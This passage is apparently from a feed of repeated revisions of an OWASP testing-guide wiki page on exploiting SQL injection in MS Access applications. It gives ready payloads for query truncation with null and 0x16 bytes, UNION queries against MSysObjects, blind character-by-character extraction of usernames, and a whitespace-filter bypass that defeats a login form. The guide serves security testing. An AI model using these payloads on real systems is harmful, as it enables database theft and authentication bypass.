the blind sql injection attack, so we go straight to show some example. A typical query that&lt;br /&gt;
can be used to infer the first character of the username of the 10th rows is:&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
 http://www.example.com/index.php?id=IIF((select%20mid(last(username),1,1)%20from%20(select%20top&amp;lt;br&amp;gt;%2010%20username%20from%20users))='a',0,'ko') &lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
If the first character is 'a', this query will return a 0 (a &amp;quot;true response&amp;quot;), otherwise a&lt;br /&gt;
'ko' string. Now we will explain why we have used this particular query.&lt;br /&gt;
The first thing to point out is that with the functions IFF, MID and LAST we extract the first&lt;br /&gt;
character of the username of the selected row. Unfortunately, the original query returns a set of records&lt;br /&gt;
and not only one record, so we can't use this methodology directly. We must first select only one row.&lt;br /&gt;
We can use the TOP function, but it only works with the first row. To select the other&lt;br /&gt;
queries we must use a trick. We want to infer the username of the row number 10.&lt;br /&gt;
First we use the TOP function to select the first ten rows with the query:&lt;br /&gt;
&lt;br /&gt;
 SELECT TOP 10 username FROM users&lt;br /&gt;
&lt;br /&gt;
Then we extract from this set the last row with the function LAST. Once we have only one row and &lt;br /&gt;
exactly the row that we want, we can use the IFF, MID and LAST function to infer the value&lt;br /&gt;
of the username.&lt;br /&gt;
It may be interesting to notice the use of the IFF. In our example we use IFF to return a number or a string.&lt;br /&gt;
With &lt;br /&gt;
this trick we can distinguish when we have a true response or not. This is because id is of numeric type,&lt;br /&gt;
so if we compare it with a string we obtain a sql error, otherwise with the 0 value we have&lt;br /&gt;
no errors. Of course if the parameter was of type string we can use different values. For example&lt;br /&gt;
we can have the following query:&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
 http://www.example.com/index.php?id=inexistenValueHere'%20or%20'a'=IIF((select%20mid(last(username),1,1)%20from&amp;lt;br&amp;gt;%20(select%20top%2010%20username%20from%20users))='a','a','b')%00&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
that returns a query that is always true if the first character is 'a' or a query that is always false in the other case (assuming that in the users table there is no id with value 'inexistenValueHere')&lt;br /&gt;
&lt;br /&gt;
Thanks to this metodology we can infer the value of the username. To understand when we have &lt;br /&gt;
obtained the complete value we have two choices:&lt;br /&gt;
&lt;br /&gt;
# We try all the printable values, when no one is valid then we have the complete value.&lt;br /&gt;
# We can infer the length of the value (if it's a string value we can use the LEN function) and stop when we have found all the characters.&lt;br /&gt;
&lt;br /&gt;
== Tricks ==&lt;br /&gt;
Sometimes we are blocked by some filtering function, here we see some tricks to bypass these filters.&lt;br /&gt;
&lt;br /&gt;
=== Alternative Delimiter ===&lt;br /&gt;
Some filter strips away the space from the input string. We can bypass this filter using&lt;br /&gt;
the following values as delimiter instead of the white space:&lt;br /&gt;
&lt;br /&gt;
'''&lt;br /&gt;
9&lt;br /&gt;
a&lt;br /&gt;
c&lt;br /&gt;
d&lt;br /&gt;
20&lt;br /&gt;
2b&lt;br /&gt;
2d&lt;br /&gt;
3d&lt;br /&gt;
'''&lt;br /&gt;
&lt;br /&gt;
For example we can execute the following query:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?username=foo%27%09or%09%271%27%09=%09%271&lt;br /&gt;
&lt;br /&gt;
to bypass a hypothetical login form.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* http://www.techonthenet.com/access/functions/index_alpha.php&lt;br /&gt;
* http://www.webapptest.org/ms-access-sql-injection-cheat-sheet-IT.html&lt;/div&gt;</summary>
		<author><name>S4tan</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_MS_Access&amp;diff=36702</id>
		<title>Testing for MS Access</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_MS_Access&amp;diff=36702"/>
				<updated>2008-08-20T13:59:33Z</updated>
		
		<summary type="html">&lt;p&gt;S4tan: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Short Description of the Issue == &lt;br /&gt;
In this paragraph we describe how to exploit sql injection vulnerabilties when the&lt;br /&gt;
backend database is MS Access. In particular we focus on how to exploit blind sql injection&lt;br /&gt;
as this kind of vulnerabilities are more frequent.&lt;br /&gt;
After an initial introduction on which are the typical functions &lt;br /&gt;
that are useful to exploit a sql injection vulnerability, &lt;br /&gt;
we will introduce a clever  methodology to exploit blind sql injection.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
=== Standard Test ===&lt;br /&gt;
First of all, we start showing a typical example of SQL error that we can encounter when&lt;br /&gt;
we execute our test:&lt;br /&gt;
&lt;br /&gt;
 Fatal error: Uncaught exception 'com_exception' with message '&amp;lt;b&amp;gt;Source:&amp;lt;/b&amp;gt; Microsoft JET Database Engine&amp;lt;br/&amp;gt;&amp;lt;b&amp;gt;Description:&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If we get this error then it's reasonable to think that we are testing an application with a MS Access Database as backend.&lt;br /&gt;
&lt;br /&gt;
We have to say that, unfortunately, we start soon with a bad news since MS Access doesn't support any comment character in the sql query,&lt;br /&gt;
so we can't use the trick of inserting the chars /* or -- or # to truncate the query. On the other hand, we can fortunately  bypass this limit with the NULL character. If we insert the char %00 at some place in &lt;br /&gt;
the query, all the remaining characters after the NULL are not considerated. That happens&lt;br /&gt;
because at the low level the strings are considerated terminated with the NULL char.&lt;br /&gt;
However the NULL character can sometimes cause troubles. If we try every char in the ASCII&lt;br /&gt;
charset we notice that there is another value that can be used in order to truncate the query.&lt;br /&gt;
The character is 0x16 (%16 in url encoded format) or 22 in decimal. So if we have the following query:&lt;br /&gt;
&lt;br /&gt;
 SELECT [username],[password] FROM users WHERE [username]='$myUsername' AND [password]='$myPassword'&lt;br /&gt;
&lt;br /&gt;
we can truncate the query with the following two urls:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?user=admin'%00&amp;amp;pass=foo&lt;br /&gt;
 http://www.example.com/index.php?user=admin'%16&amp;amp;pass=foo&lt;br /&gt;
&lt;br /&gt;
==== Attributes enumeration ====&lt;br /&gt;
In order to enumerate the attributes of a query we can use the same method used for the Database&lt;br /&gt;
MS SQL Server. In short, we can obtain the name of the attributes by error messages. For example&lt;br /&gt;
if we know the existence of a parameter because we got it by an error message due to the&lt;br /&gt;
' character, we can also know the name of the remaining attributes with the following query:&lt;br /&gt;
&lt;br /&gt;
 ' GROUP BY Id%00&lt;br /&gt;
&lt;br /&gt;
in the error message we can notice that the name of the next attribute is shown. We iterate the&lt;br /&gt;
method until we obtain the name of all the attributes. If we don't know the name of at least&lt;br /&gt;
one attribute, we can insert a fictitious column name, and just like by magic we obtain the name of&lt;br /&gt;
the first attribute.&lt;br /&gt;
&lt;br /&gt;
==== Obtaining Database Scheme ====&lt;br /&gt;
In MS Access exist various table that can be used to obtain the name of the table of a&lt;br /&gt;
particular database. In the default configuration this table is not accessible, however it's&lt;br /&gt;
worth a try. The names of the table are:&lt;br /&gt;
&lt;br /&gt;
# MSysObjects&lt;br /&gt;
# MSysACEs&lt;br /&gt;
# MSysAccessXML&lt;br /&gt;
&lt;br /&gt;
For example if a union sql injection vulnerability exists, you can use the following query:&lt;br /&gt;
&lt;br /&gt;
 ' UNION SELECT Name FROM MSysObjects WHERE Type = 1%00&lt;br /&gt;
&lt;br /&gt;
These are the main steps that you can use to exploit a sql injection vulnerability on &lt;br /&gt;
MS Access. There are also some functions that can be useful to exploit custom &lt;br /&gt;
queries. Some of these functions are:&lt;br /&gt;
&lt;br /&gt;
# ASC: Obtain the ascii value of a character passed as input&lt;br /&gt;
# CHR: Obtain the character of the ascii value passed as input&lt;br /&gt;
# LEN: Return the length of the string passed as parameter&lt;br /&gt;
# IIF: Is the IF construct, for example the following statement IIF(1=1, 'a', 'b') return 'a'&lt;br /&gt;
# MID: This function permits to extract substring, for example the following statement mid('abc',1,1) return 'a'&lt;br /&gt;
# TOP: This function permits to specify the maximum number of results that the query should return from the top. For example TOP 1 will return only 1 row.&lt;br /&gt;
# LAST: This function is used to select only the last row of a set of rows. For example the following query SELECT last(*) FROM users will return only the last row of the result.&lt;br /&gt;
&lt;br /&gt;
Some of these functions will be used to exploit a blind sql injection as we see in the next&lt;br /&gt;
paragraph. For other functions please refer to References.&lt;br /&gt;
&lt;br /&gt;
=== Blind sql injection testing ===&lt;br /&gt;
Blind sql injection vulnerabilities are by no mean the most frequent type of vulnerability&lt;br /&gt;
that you will find. Generally you find a sql injection in a parameter where no union &lt;br /&gt;
query is possible. Also, usually there is no chance to execute shell command or to read/write&lt;br /&gt;
a file. All you can do is infer the result of your query. For our test we take the&lt;br /&gt;
following example:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?myId=[sql]&lt;br /&gt;
&lt;br /&gt;
where the id parameter is used in the following query:&lt;br /&gt;
&lt;br /&gt;
 SELECT * FROM orders WHERE [id]=$myId&lt;br /&gt;
&lt;br /&gt;
For our test we will consider the myId parameter vulnerable to blind sqli vulnerability.&lt;br /&gt;
We want to extract the content of the table users, in particular of the column&lt;br /&gt;
username (we have already seen how to obtain the name of the attributes thanks&lt;br /&gt;
to the error messages and other tecniques). It is supposed that the reader alreday knowns the theory behind&lt;br /&gt;
the blind sql injection attack, so we go straight to show some example. A typical query that&lt;br /&gt;
can be used to infer the first character of the username of the 10th rows is:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?id=IIF((select%20mid(last(username),1,1)%20from%20(select%20top&amp;lt;br&amp;gt;%2010%20username%20from%20users))='a',0,'ko') &lt;br /&gt;
&lt;br /&gt;
If the first character is 'a', this query will return a 0 (a &amp;quot;true response&amp;quot;), otherwise a&lt;br /&gt;
'ko' string. Now we will explain why we have used this particular query.&lt;br /&gt;
The first thing to point out is that with the functions IFF, MID and LAST we extract the first&lt;br /&gt;
character of the username of the selected row. Unfortunately, the original query returns a set of records&lt;br /&gt;
and not only one record, so we can't use this methodology directly. We must first select only one row.&lt;br /&gt;
We can use the TOP function, but it only works with the first row. To select the other&lt;br /&gt;
queries we must use a trick. We want to infer the username of the row number 10.&lt;br /&gt;
First we use the TOP function to select the first ten rows with the query:&lt;br /&gt;
&lt;br /&gt;
 SELECT TOP 10 username FROM users&lt;br /&gt;
&lt;br /&gt;
Then we extract from this set the last row with the function LAST. Once we have only one row and &lt;br /&gt;
exactly the row that we want, we can use the IFF, MID and LAST function to infer the value&lt;br /&gt;
of the username.&lt;br /&gt;
It may be interesting to notice the use of the IFF. In our example we use IFF to return a number or a string.&lt;br /&gt;
With &lt;br /&gt;
this trick we can distinguish when we have a true response or not. This is because id is of numeric type,&lt;br /&gt;
so if we compare it with a string we obtain a sql error, otherwise with the 0 value we have&lt;br /&gt;
no errors. Of course if the parameter was of type string we can use different values. For example&lt;br /&gt;
we can have the following query:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?id=inexistenValueHere'%20or%20'a'=IIF((select%20mid(last(username),1,1)%20from&amp;lt;br&amp;gt;%20(select%20top%2010%20username%20from%20users))='a','a','b')%00&lt;br /&gt;
&lt;br /&gt;
that returns a query that is always true if the first character is 'a' or a query that is always false in the other case (assuming that in the users table there is no id with value 'inexistenValueHere')&lt;br /&gt;
&lt;br /&gt;
Thanks to this metodology we can infer the value of the username. To understand when we have &lt;br /&gt;
obtained the complete value we have two choices:&lt;br /&gt;
&lt;br /&gt;
# We try all the printable values, when no one is valid then we have the complete value.&lt;br /&gt;
# We can infer the length of the value (if it's a string value we can use the LEN function) and stop when we have found all the characters.&lt;br /&gt;
&lt;br /&gt;
== Tricks ==&lt;br /&gt;
Sometimes we are blocked by some filtering function, here we see some tricks to bypass these filters.&lt;br /&gt;
&lt;br /&gt;
=== Alternative Delimiter ===&lt;br /&gt;
Some filter strips away the space from the input string. We can bypass this filter using&lt;br /&gt;
the following values as delimiter instead of the white space:&lt;br /&gt;
&lt;br /&gt;
'''&lt;br /&gt;
9&lt;br /&gt;
a&lt;br /&gt;
c&lt;br /&gt;
d&lt;br /&gt;
20&lt;br /&gt;
2b&lt;br /&gt;
2d&lt;br /&gt;
3d&lt;br /&gt;
'''&lt;br /&gt;
&lt;br /&gt;
For example we can execute the following query:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?username=foo%27%09or%09%271%27%09=%09%271&lt;br /&gt;
&lt;br /&gt;
to bypass a hypothetical login form.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* http://www.techonthenet.com/access/functions/index_alpha.php&lt;br /&gt;
* http://www.webapptest.org/ms-access-sql-injection-cheat-sheet-IT.html&lt;/div&gt;</summary>
		<author><name>S4tan</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_MS_Access&amp;diff=36701</id>
		<title>Testing for MS Access</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_MS_Access&amp;diff=36701"/>
				<updated>2008-08-20T13:59:02Z</updated>
		
		<summary type="html">&lt;p&gt;S4tan: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Short Description of the Issue == &lt;br /&gt;
In this paragraph we describe how to exploit sql injection vulnerabilties when the&lt;br /&gt;
backend database is MS Access. In particular we focus on how to exploit blind sql injection&lt;br /&gt;
as this kind of vulnerabilities are more frequent.&lt;br /&gt;
After an initial introduction on which are the typical functions &lt;br /&gt;
that are useful to exploit a sql injection vulnerability, &lt;br /&gt;
we will introduce a clever  methodology to exploit blind sql injection.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
=== Standard Test ===&lt;br /&gt;
First of all, we start showing a typical example of SQL error that we can encounter when&lt;br /&gt;
we execute our test:&lt;br /&gt;
&lt;br /&gt;
 Fatal error: Uncaught exception 'com_exception' with message '&amp;lt;b&amp;gt;Source:&amp;lt;/b&amp;gt; Microsoft JET Database Engine&amp;lt;br/&amp;gt;&amp;lt;b&amp;gt;Description:&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If we get this error then it's reasonable to think that we are testing an application with a MS Access Database as backend.&lt;br /&gt;
&lt;br /&gt;
We have to say that, unfortunately, we start soon with a bad news since MS Access doesn't support any comment character in the sql query,&lt;br /&gt;
so we can't use the trick of inserting the chars /* or -- or # to truncate the query. On the other hand, we can fortunately  bypass this limit with the NULL character. If we insert the char %00 at some place in &lt;br /&gt;
the query, all the remaining characters after the NULL are not considerated. That happens&lt;br /&gt;
because at the low level the strings are considerated terminated with the NULL char.&lt;br /&gt;
However the NULL character can sometimes cause troubles. If we try every char in the ASCII&lt;br /&gt;
charset we notice that there is another value that can be used in order to truncate the query.&lt;br /&gt;
The character is 0x16 (%16 in url encoded format) or 22 in decimal. So if we have the following query:&lt;br /&gt;
&lt;br /&gt;
 SELECT [username],[password] FROM users WHERE [username]='$myUsername' AND [password]='$myPassword'&lt;br /&gt;
&lt;br /&gt;
we can truncate the query with the following two urls:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?user=admin'%00&amp;amp;pass=foo&lt;br /&gt;
 http://www.example.com/index.php?user=admin'%16&amp;amp;pass=foo&lt;br /&gt;
&lt;br /&gt;
==== Attributes enumeration ====&lt;br /&gt;
In order to enumerate the attributes of a query we can use the same method used for the Database&lt;br /&gt;
MS SQL Server. In short, we can obtain the name of the attributes by error messages. For example&lt;br /&gt;
if we know the existence of a parameter because we got it by an error message due to the&lt;br /&gt;
' character, we can also know the name of the remaining attributes with the following query:&lt;br /&gt;
&lt;br /&gt;
 ' GROUP BY Id%00&lt;br /&gt;
&lt;br /&gt;
in the error message we can notice that the name of the next attribute is shown. We iterate the&lt;br /&gt;
method until we obtain the name of all the attributes. If we don't know the name of at least&lt;br /&gt;
one attribute, we can insert a fictitious column name, and just like by magic we obtain the name of&lt;br /&gt;
the first attribute.&lt;br /&gt;
&lt;br /&gt;
==== Obtaining Database Scheme ====&lt;br /&gt;
In MS Access exist various table that can be used to obtain the name of the table of a&lt;br /&gt;
particular database. In the default configuration this table is not accessible, however it's&lt;br /&gt;
worth a try. The names of the table are:&lt;br /&gt;
&lt;br /&gt;
# MSysObjects&lt;br /&gt;
# MSysACEs&lt;br /&gt;
# MSysAccessXML&lt;br /&gt;
&lt;br /&gt;
For example if a union sql injection vulnerability exists, you can use the following query:&lt;br /&gt;
&lt;br /&gt;
 ' UNION SELECT Name FROM MSysObjects WHERE Type = 1%00&lt;br /&gt;
&lt;br /&gt;
These are the main steps that you can use to exploit a sql injection vulnerability on &lt;br /&gt;
MS Access. There are also some functions that can be useful to exploit custom &lt;br /&gt;
queries. Some of these functions are:&lt;br /&gt;
&lt;br /&gt;
# ASC: Obtain the ascii value of a character passed as input&lt;br /&gt;
# CHR: Obtain the character of the ascii value passed as input&lt;br /&gt;
# LEN: Return the length of the string passed as parameter&lt;br /&gt;
# IIF: Is the IF construct, for example the following statement IIF(1=1, 'a', 'b') return 'a'&lt;br /&gt;
# MID: This function permits to extract substring, for example the following statement mid('abc',1,1) return 'a'&lt;br /&gt;
# TOP: This function permits to specify the maximum number of results that the query should return from the top. For example TOP 1 will return only 1 row.&lt;br /&gt;
# LAST: This function is used to select only the last row of a set of rows. For example the following query SELECT last(*) FROM users will return only the last row of the result.&lt;br /&gt;
&lt;br /&gt;
Some of these functions will be used to exploit a blind sql injection as we see in the next&lt;br /&gt;
paragraph. For other functions please refer to References.&lt;br /&gt;
&lt;br /&gt;
=== Blind sql injection testing ===&lt;br /&gt;
Blind sql injection vulnerabilities are by no mean the most frequent type of vulnerability&lt;br /&gt;
that you will find. Generally you find a sql injection in a parameter where no union &lt;br /&gt;
query is possible. Also, usually there is no chance to execute shell command or to read/write&lt;br /&gt;
a file. All you can do is infer the result of your query. For our test we take the&lt;br /&gt;
following example:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?myId=[sql]&lt;br /&gt;
&lt;br /&gt;
where the id parameter is used in the following query:&lt;br /&gt;
&lt;br /&gt;
 SELECT * FROM orders WHERE [id]=$myId&lt;br /&gt;
&lt;br /&gt;
For our test we will consider the myId parameter vulnerable to blind sqli vulnerability.&lt;br /&gt;
We want to extract the content of the table users, in particular of the column&lt;br /&gt;
username (we have already seen how to obtain the name of the attributes thanks&lt;br /&gt;
to the error messages and other tecniques). It is supposed that the reader alreday knowns the theory behind&lt;br /&gt;
the blind sql injection attack, so we go straight to show some example. A typical query that&lt;br /&gt;
can be used to infer the first character of the username of the 10th rows is:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;br&amp;gt;http://www.example.com/index.php?id=IIF((select%20mid(last(username),1,1)%20from%20(select%20top&amp;lt;br&amp;gt;%2010%20username%20from%20users))='a',0,'ko') &lt;br /&gt;
&lt;br /&gt;
If the first character is 'a', this query will return a 0 (a &amp;quot;true response&amp;quot;), otherwise a&lt;br /&gt;
'ko' string. Now we will explain why we have used this particular query.&lt;br /&gt;
The first thing to point out is that with the functions IFF, MID and LAST we extract the first&lt;br /&gt;
character of the username of the selected row. Unfortunately, the original query returns a set of records&lt;br /&gt;
and not only one record, so we can't use this methodology directly. We must first select only one row.&lt;br /&gt;
We can use the TOP function, but it only works with the first row. To select the other&lt;br /&gt;
queries we must use a trick. We want to infer the username of the row number 10.&lt;br /&gt;
First we use the TOP function to select the first ten rows with the query:&lt;br /&gt;
&lt;br /&gt;
 SELECT TOP 10 username FROM users&lt;br /&gt;
&lt;br /&gt;
Then we extract from this set the last row with the function LAST. Once we have only one row and &lt;br /&gt;
exactly the row that we want, we can use the IFF, MID and LAST function to infer the value&lt;br /&gt;
of the username.&lt;br /&gt;
It may be interesting to notice the use of the IFF. In our example we use IFF to return a number or a string.&lt;br /&gt;
With &lt;br /&gt;
this trick we can distinguish when we have a true response or not. This is because id is of numeric type,&lt;br /&gt;
so if we compare it with a string we obtain a sql error, otherwise with the 0 value we have&lt;br /&gt;
no errors. Of course if the parameter was of type string we can use different values. For example&lt;br /&gt;
we can have the following query:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;br&amp;gt;http://www.example.com/index.php?id=inexistenValueHere'%20or%20'a'=IIF((select%20mid(last(username),1,1)%20from&amp;lt;br&amp;gt;%20(select%20top%2010%20username%20from%20users))='a','a','b')%00&lt;br /&gt;
&lt;br /&gt;
that returns a query that is always true if the first character is 'a' or a query that is always false in the other case (assuming that in the users table there is no id with value 'inexistenValueHere')&lt;br /&gt;
&lt;br /&gt;
Thanks to this metodology we can infer the value of the username. To understand when we have &lt;br /&gt;
obtained the complete value we have two choices:&lt;br /&gt;
&lt;br /&gt;
# We try all the printable values, when no one is valid then we have the complete value.&lt;br /&gt;
# We can infer the length of the value (if it's a string value we can use the LEN function) and stop when we have found all the characters.&lt;br /&gt;
&lt;br /&gt;
== Tricks ==&lt;br /&gt;
Sometimes we are blocked by some filtering function, here we see some tricks to bypass these filters.&lt;br /&gt;
&lt;br /&gt;
=== Alternative Delimiter ===&lt;br /&gt;
Some filter strips away the space from the input string. We can bypass this filter using&lt;br /&gt;
the following values as delimiter instead of the white space:&lt;br /&gt;
&lt;br /&gt;
'''&lt;br /&gt;
9&lt;br /&gt;
a&lt;br /&gt;
c&lt;br /&gt;
d&lt;br /&gt;
20&lt;br /&gt;
2b&lt;br /&gt;
2d&lt;br /&gt;
3d&lt;br /&gt;
'''&lt;br /&gt;
&lt;br /&gt;
For example we can execute the following query:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?username=foo%27%09or%09%271%27%09=%09%271&lt;br /&gt;
&lt;br /&gt;
to bypass a hypothetical login form.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* http://www.techonthenet.com/access/functions/index_alpha.php&lt;br /&gt;
* http://www.webapptest.org/ms-access-sql-injection-cheat-sheet-IT.html&lt;/div&gt;</summary>
		<author><name>S4tan</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_MS_Access&amp;diff=36700</id>
		<title>Testing for MS Access</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_MS_Access&amp;diff=36700"/>
				<updated>2008-08-20T13:58:20Z</updated>
		
		<summary type="html">&lt;p&gt;S4tan: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Short Description of the Issue == &lt;br /&gt;
In this paragraph we describe how to exploit sql injection vulnerabilties when the&lt;br /&gt;
backend database is MS Access. In particular we focus on how to exploit blind sql injection&lt;br /&gt;
as this kind of vulnerabilities are more frequent.&lt;br /&gt;
After an initial introduction on which are the typical functions &lt;br /&gt;
that are useful to exploit a sql injection vulnerability, &lt;br /&gt;
we will introduce a clever  methodology to exploit blind sql injection.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
=== Standard Test ===&lt;br /&gt;
First of all, we start showing a typical example of SQL error that we can encounter when&lt;br /&gt;
we execute our test:&lt;br /&gt;
&lt;br /&gt;
 Fatal error: Uncaught exception 'com_exception' with message '&amp;lt;b&amp;gt;Source:&amp;lt;/b&amp;gt; Microsoft JET Database Engine&amp;lt;br/&amp;gt;&amp;lt;b&amp;gt;Description:&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If we get this error then it's reasonable to think that we are testing an application with a MS Access Database as backend.&lt;br /&gt;
&lt;br /&gt;
We have to say that, unfortunately, we start soon with a bad news since MS Access doesn't support any comment character in the sql query,&lt;br /&gt;
so we can't use the trick of inserting the chars /* or -- or # to truncate the query. On the other hand, we can fortunately  bypass this limit with the NULL character. If we insert the char %00 at some place in &lt;br /&gt;
the query, all the remaining characters after the NULL are not considerated. That happens&lt;br /&gt;
because at the low level the strings are considerated terminated with the NULL char.&lt;br /&gt;
However the NULL character can sometimes cause troubles. If we try every char in the ASCII&lt;br /&gt;
charset we notice that there is another value that can be used in order to truncate the query.&lt;br /&gt;
The character is 0x16 (%16 in url encoded format) or 22 in decimal. So if we have the following query:&lt;br /&gt;
&lt;br /&gt;
 SELECT [username],[password] FROM users WHERE [username]='$myUsername' AND [password]='$myPassword'&lt;br /&gt;
&lt;br /&gt;
we can truncate the query with the following two urls:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?user=admin'%00&amp;amp;pass=foo&lt;br /&gt;
 http://www.example.com/index.php?user=admin'%16&amp;amp;pass=foo&lt;br /&gt;
&lt;br /&gt;
==== Attributes enumeration ====&lt;br /&gt;
In order to enumerate the attributes of a query we can use the same method used for the Database&lt;br /&gt;
MS SQL Server. In short, we can obtain the name of the attributes by error messages. For example&lt;br /&gt;
if we know the existence of a parameter because we got it by an error message due to the&lt;br /&gt;
' character, we can also know the name of the remaining attributes with the following query:&lt;br /&gt;
&lt;br /&gt;
 ' GROUP BY Id%00&lt;br /&gt;
&lt;br /&gt;
in the error message we can notice that the name of the next attribute is shown. We iterate the&lt;br /&gt;
method until we obtain the name of all the attributes. If we don't know the name of at least&lt;br /&gt;
one attribute, we can insert a fictitious column name, and just like by magic we obtain the name of&lt;br /&gt;
the first attribute.&lt;br /&gt;
&lt;br /&gt;
==== Obtaining Database Scheme ====&lt;br /&gt;
In MS Access exist various table that can be used to obtain the name of the table of a&lt;br /&gt;
particular database. In the default configuration this table is not accessible, however it's&lt;br /&gt;
worth a try. The names of the table are:&lt;br /&gt;
&lt;br /&gt;
# MSysObjects&lt;br /&gt;
# MSysACEs&lt;br /&gt;
# MSysAccessXML&lt;br /&gt;
&lt;br /&gt;
For example if a union sql injection vulnerability exists, you can use the following query:&lt;br /&gt;
&lt;br /&gt;
 ' UNION SELECT Name FROM MSysObjects WHERE Type = 1%00&lt;br /&gt;
&lt;br /&gt;
These are the main steps that you can use to exploit a sql injection vulnerability on &lt;br /&gt;
MS Access. There are also some functions that can be useful to exploit custom &lt;br /&gt;
queries. Some of these functions are:&lt;br /&gt;
&lt;br /&gt;
# ASC: Obtain the ascii value of a character passed as input&lt;br /&gt;
# CHR: Obtain the character of the ascii value passed as input&lt;br /&gt;
# LEN: Return the length of the string passed as parameter&lt;br /&gt;
# IIF: Is the IF construct, for example the following statement IIF(1=1, 'a', 'b') return 'a'&lt;br /&gt;
# MID: This function permits to extract substring, for example the following statement mid('abc',1,1) return 'a'&lt;br /&gt;
# TOP: This function permits to specify the maximum number of results that the query should return from the top. For example TOP 1 will return only 1 row.&lt;br /&gt;
# LAST: This function is used to select only the last row of a set of rows. For example the following query SELECT last(*) FROM users will return only the last row of the result.&lt;br /&gt;
&lt;br /&gt;
Some of these functions will be used to exploit a blind sql injection as we see in the next&lt;br /&gt;
paragraph. For other functions please refer to References.&lt;br /&gt;
&lt;br /&gt;
=== Blind sql injection testing ===&lt;br /&gt;
Blind sql injection vulnerabilities are by no mean the most frequent type of vulnerability&lt;br /&gt;
that you will find. Generally you find a sql injection in a parameter where no union &lt;br /&gt;
query is possible. Also, usually there is no chance to execute shell command or to read/write&lt;br /&gt;
a file. All you can do is infer the result of your query. For our test we take the&lt;br /&gt;
following example:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?myId=[sql]&lt;br /&gt;
&lt;br /&gt;
where the id parameter is used in the following query:&lt;br /&gt;
&lt;br /&gt;
 SELECT * FROM orders WHERE [id]=$myId&lt;br /&gt;
&lt;br /&gt;
For our test we will consider the myId parameter vulnerable to blind sqli vulnerability.&lt;br /&gt;
We want to extract the content of the table users, in particular of the column&lt;br /&gt;
username (we have already seen how to obtain the name of the attributes thanks&lt;br /&gt;
to the error messages and other tecniques). It is supposed that the reader alreday knowns the theory behind&lt;br /&gt;
the blind sql injection attack, so we go straight to show some example. A typical query that&lt;br /&gt;
can be used to infer the first character of the username of the 10th rows is:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?id=IIF((select%20mid(last(username),1,1)%20from%20(select%20top&amp;lt;br&amp;gt;%2010%20username%20from%20users))='a',0,'ko') &lt;br /&gt;
&lt;br /&gt;
If the first character is 'a', this query will return a 0 (a &amp;quot;true response&amp;quot;), otherwise a&lt;br /&gt;
'ko' string. Now we will explain why we have used this particular query.&lt;br /&gt;
The first thing to point out is that with the functions IFF, MID and LAST we extract the first&lt;br /&gt;
character of the username of the selected row. Unfortunately, the original query returns a set of records&lt;br /&gt;
and not only one record, so we can't use this methodology directly. We must first select only one row.&lt;br /&gt;
We can use the TOP function, but it only works with the first row. To select the other&lt;br /&gt;
queries we must use a trick. We want to infer the username of the row number 10.&lt;br /&gt;
First we use the TOP function to select the first ten rows with the query:&lt;br /&gt;
&lt;br /&gt;
 SELECT TOP 10 username FROM users&lt;br /&gt;
&lt;br /&gt;
Then we extract from this set the last row with the function LAST. Once we have only one row and &lt;br /&gt;
exactly the row that we want, we can use the IFF, MID and LAST function to infer the value&lt;br /&gt;
of the username.&lt;br /&gt;
It may be interesting to notice the use of the IFF. In our example we use IFF to return a number or a string.&lt;br /&gt;
With &lt;br /&gt;
this trick we can distinguish when we have a true response or not. This is because id is of numeric type,&lt;br /&gt;
so if we compare it with a string we obtain a sql error, otherwise with the 0 value we have&lt;br /&gt;
no errors. Of course if the parameter was of type string we can use different values. For example&lt;br /&gt;
we can have the following query:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?id=inexistenValueHere'%20or%20'a'=IIF((select%20mid(last(username),1,1)%20from%20(select%20top%2010%20username%20from%20users))='a','a','b')%00&lt;br /&gt;
&lt;br /&gt;
